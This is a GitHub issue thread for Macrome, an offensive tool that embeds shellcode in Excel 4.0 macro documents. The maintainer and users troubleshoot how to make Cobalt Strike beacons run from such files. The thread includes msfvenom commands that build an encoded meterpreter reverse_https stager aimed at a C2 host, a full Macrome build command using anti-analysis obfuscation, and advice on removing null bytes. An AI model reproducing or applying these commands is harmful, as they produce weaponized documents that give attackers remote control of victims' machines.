Comments (18)
I'm not sure - I've been getting reports of stuff crashing when it runs but unfortunately I can't reproduce it locally to figure out exactly what's going on. Most of the time when something crashes it's because the payload didn't write properly to memory. If I had to guess there's a 00 byte getting written somewhere and my code isn't properly escaping it. Try encoding your payload using an alphanumeric shellcode encoder if possible.
@michaelweber Mine is crashing as well. Using .Net Core 2.0.0 and also tried 2.1.0 like you've mentioned and tried alpha-numeric encoder with 0x00 bad char, no luck:
msfvenom -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -f raw -e x86/alpha_mixed EXITFUNC=thread > popcalc64.bin
Also tried your Docs\popcalc64.bin
but no results. And could not find any =GOTO
you mentioned in the 2nd step.
Here is my output.xls that should pop calc.exe
, but it doesn't.
Here is the exception that debugger caught, but not informative though.
from macrome.
Hmmmm, I wonder what that RegistryKey.GetValue failure is...that might be worth investigating / why multiple folks are seeing issues with CS payloads. I'll try to dig into this - CS is sort of the core payload that this SHOULD work fine with, the tool isn't terribly useful on the offense side if it won't run.
I think I need to re-do how the payload is encoded so that null bytes are allowed. An upcoming release will add an additional encoding to deal with storing the content directly in the sheet and then decrypting it using a combination of CODE lookups which should also significantly shrink the sheet size (some CS payloads I've seen blow the sheet up into being many megabytes large). That being said, it's going to probably be a bit of time before I can get that out there.
from macrome.
Apologies for the delay here folks - I just pushed a new release which should handle Cobalt Strike beacons much MUCH better (staged or stageless). I've tested on x64 + x86 machines, but I'm sure my environment isn't perfect. Give the new release a try at https://github.com/michaelweber/Macrome/releases/tag/v0.4.1. It is no longer necessary to drop null bytes.
Is it to directly generate x86 and x64 CS attack payloads? Then execute:
dotnet Macrome.dll b --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --method AntiAnalysisCharSubroutine --payload-method base64 --password VelvetSweatshop --output-file-name base64beacon.xls
is that so?
from macrome.
I'm not sure - I've been getting reports of stuff crashing when it runs but unfortunately I can't reproduce it locally to figure out exactly what's going on. Most of the time when something crashes it's because the payload didn't write properly to memory. If I had to guess there's a 00 byte getting written somewhere and my code isn't properly escaping it. Try encoding your payload using an alphanumeric shellcode encoder if possible.
If you can't encode it (or you're willing to help me improve the tool for everyone if and you're willing to trek through some debugging with me) - what I'd recommend doing is this:
- Grab https://x64dbg.com/ - we'll use this for debugging Excel. You'll need to use the 32 bit or 64 bit debugger version depending on which Excel installation you have.
- Open up your payload, before it runs and find the last instruction in the initial setup column (hardcoded for FE for now). It will be an =GOTO($A$1) Formula unless you've changed stuff locally. Delete the GOTO command and enable macros so the code runs.
- Attach x32/x64 debug to your Excel instance. You'll know which version you're running based on which debug is able to see the process when you go to attach:
- After you attach, hold F9 for a few seconds to resume all threads until Excel responds to mouse/keyboard input again.
- Right click on cell A1 and go down to Run... and click Step Into (if it becomes unresponsive got back to the debugger and hold F9 again)
6. Now we're going to keep clicking Step Over until we get to a CThread or GO call. My guess is you won't see a crash happen until this point, if something does explode before you get to those calls then let me know where it dies.
7. Go back to x32dbg/x64dbg and open the memory map (Alt-M). Sort by the Protection column - we want to identify memory that's RWX and allocated at runtime - it looks something like this:
8. You'll probably only see one ERW section...but you might see multiples, just double click a section to see what's inside it. Ex: After I double clicked the 21520000 row:
9. This is the shellcode that was written to Excel - I'd suggest selecting all of it (until you see large chunks of 00s) and copying to file:
10. Now that you've done this, do a bytewise compare of the shellcode inside memory to the shellcode you provided to Macrome. If I had to guess...there isn't parity somewhere and some of the shellcode has been mucked up. Let me know what bytes aren't going through (and if it's not a major opsec failure, share the outputs with me) and I'll see if I can fix up what has gone wrong.
Anyways - I know this is A LOT of effort to do, but unfortunately short of having you ship your payload over to me I'm not going to be able to fix this. My guess is we've encountered some weird edge case where Excel treats some of the bytes as part of a formula or drops something or who knows what and there's some extra handling code that's necessary.
from macrome.
you get me wrong , i mean i can't even generate an excel file using cobaltstrike shellcode that's the problem
from macrome.
Ah - my mistake - what's happening when you try to generate the payload? Can you share the command you're running as well as stack trace that's coming out when you try to build the document?
from macrome.
here the error message when i try with cobaltstrike shellcode
Unhandled exception: System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.ArgumentException: Payloads cannot contain null bytes
at Macrome.FormulaHelper.BuildPayloadMacros(Byte[] payload) in /root/Macrome/FormulaHelper.cs:line 40
at Macrome.WorkbookEditor.SetMacroBinaryContent(Byte[] payload, Int32 rwStart, Int32 colStart, Int32 dstRwStart, Int32 dstColStart, SheetPackingMethod packingMethod) in /root/Macrome/WorkbookEditor.cs:line 134
at Macrome.Program.Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, String preamble, PayloadType payloadType, String macroSheetName, String outputFileName, Boolean debugMode, SheetPackingMethod method) in /root/Macrome/Program.cs:line 204
--- End of inner exception stack trace ---
at System.RuntimeMethodHandle.InvokeMethod(Object target, Object[] arguments, Signature sig, Boolean constructor, Boolean wrapExceptions)
at System.Reflection.RuntimeMethodInfo.Invoke(Object obj, BindingFlags invokeAttr, Binder binder, Object[] parameters, CultureInfo culture)
at System.CommandLine.Invocation.ModelBindingCommandHandler.InvokeAsync(InvocationContext context) in //src/System.CommandLine/Invocation/ModelBindingCommandHandler.cs:line 68
at System.CommandLine.Invocation.InvocationPipeline.<>c__DisplayClass4_0.<b__0>d.MoveNext() in //src/System.CommandLine/Invocation/InvocationPipeline.cs:line 57
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c.<b__20_0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 370
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c__DisplayClass15_0.<b__0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 296
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c__DisplayClass24_0.<b__0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 451
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c__DisplayClass22_0.<b__0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 417
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c.<b__21_0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 398
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c.<b__19_0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 352
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c.<b__11_0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 225
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c.<b__10_0>d.MoveNext() in //src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 200
--- End of stack trace from previous location where exception was thrown ---
at System.CommandLine.Builder.CommandLineBuilderExtensions.<>c__DisplayClass13_0.<b__0>d.MoveNext() in /_/src/System.CommandLine/Builder/CommandLineBuilderExtensions.cs:line 254
from macrome.
Ah - the shellcode has null bytes in it. The moment you put a null byte into an Excel cell it will terminate the cell regardless of whatever you put after it. I need to make this error message be more clear so it's obvious what the problem is.
I'd recommend following the advice at https://medium.com/@fsx30/excel-4-0-macro-old-but-new-967071106be9 so you can get rid of the null byte and then you'll be able to use the payload.
Cheers!
from macrome.
我不确定-我一直在收到有关东西运行时崩溃的报告,但不幸的是,我无法在本地复制它以弄清楚到底发生了什么。大多数情况下,某些崩溃是因为有效负载未正确写入内存。如果我不得不猜测某个地方写了一个00字节,而我的代码没有正确地转义它。如果可能,请尝试使用字母数字shellcode编码器对有效负载进行编码。
@michaelweber 我的也在崩溃。使用.Net Core 2.0.0,并像您提到的那样尝试2.1.0,并尝试使用0x00坏字符的字母数字编码器,没有运气:
msfvenom -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -f raw -e x86/alpha_mixed EXITFUNC=thread > popcalc64.bin
还尝试了您
Docs\popcalc64.bin
但没有结果。并且找不到第二步中=GOTO
提到的任何内容。****这是我的output.xls应该弹出
calc.exe
,但不是。这是调试器捕获的异常,但没有提供信息。
I also encountered the same problem
from macrome.
Hmmmm, I wonder what that RegistryKey.GetValue failure is...that might be worth investigating / why multiple folks are seeing issues with CS payloads. I'll try to dig into this - CS is sort of the core payload that this SHOULD work fine with, the tool isn't terribly useful on the offense side if it won't run.
I think I need to re-do how the payload is encoded so that null bytes are allowed. An upcoming release will add an additional encoding to deal with storing the content directly in the sheet and then decrypting it using a combination of CODE lookups which should also significantly shrink the sheet size (some CS payloads I've seen blow the sheet up into being many megabytes large). That being said, it's going to probably be a bit of time before I can get that out there.
Actually not only CS payloads, Using .Net Core 2.0.0 and also tried 2.1.0 like you've mentioned and tried alpha-numeric encoder with 0x00 bad char, no luck:
msfvenom -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -f raw -e x86/alpha_mixed EXITFUNC=thread > popcalc64.bin
This is not CS payloads, Is the content of your README.md, I use msfvenom to generate the payload that pops up the calculator, Also tried your Docs\popcalc64.bin but not Run, Excel crashes directly, How to solve this problem????? Thx
from macrome.
Facing the same problems what can be ?
from macrome.
Just adding my 2 cents here for those who absolutly need their Cobalt Strike payload to work. Managed to make it work without trouble when using meterpreter as a first stager :
msfvenom -p windows/meterpreter/reverse_https LHOST=<Cobalt strike C2> LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw
from macrome.
Just adding my 2 cents here for those who absolutly need their Cobalt Strike payload to work. Managed to make it work without trouble when using meterpreter as a first stager :
msfvenom -p windows/meterpreter/reverse_https LHOST=<Cobalt strike C2> LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw
Did you succeed????
from macrome.
Just adding my 2 cents here for those who absolutly need their Cobalt Strike payload to work. Managed to make it work without trouble when using meterpreter as a first stager :
msfvenom -p windows/meterpreter/reverse_https LHOST=<Cobalt strike C2> LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw
Did you succeed????
It worked pretty well on my side
from macrome.
Just adding my 2 cents here for those who absolutly need their Cobalt Strike payload to work. Managed to make it work without trouble when using meterpreter as a first stager :
msfvenom -p windows/meterpreter/reverse_https LHOST=<Cobalt strike C2> LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw
Did you succeed????
It worked pretty well on my side
Did it crashed? or it get's injected into another process, thanks.
from macrome.
Apologies for the delay here folks - I just pushed a new release which should handle Cobalt Strike beacons much MUCH better (staged or stageless). I've tested on x64 + x86 machines, but I'm sure my environment isn't perfect. Give the new release a try at https://github.com/michaelweber/Macrome/releases/tag/v0.4.1. It is no longer necessary to drop null bytes.
from macrome.
That is exactly how it should work now. You should be able to do that with the staged or stageless payloads.
from macrome.
Closing this since I've now used this with Cobalt Strike beacon payloads on a number of occasions and have had no issues. Using the command line from Or3ak is pretty much exactly how you do it. The key is using the payload-method command.
from macrome.
Related Issues (15)
- Payload HOT 5
- error HOT 6
- Formula too long HOT 3
- Sequence contains no elements. HOT 3
- Decoy Documents can only have 1 sheet
- XOR Obfuscated Documents cannot have normal Images
- Auto_Open Obfuscation breaks auto execution on MacOS HOT 1
- i work on xlsb macro sheet (biff12) mal detect, read this xls code but noticed some record not in ms xls document , but macrome has HOT 4
- Why my xls just keep loading & stuck?
- Dotnet supported version HOT 4
- Crashes attempting to dump malicious spreadsheet HOT 8
- not working in Excel 2016 32bit HOT 21
- Auto_open Never Triggers HOT 7
- How to use msf to get reverse shell, I will crash here HOT 6
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from macrome.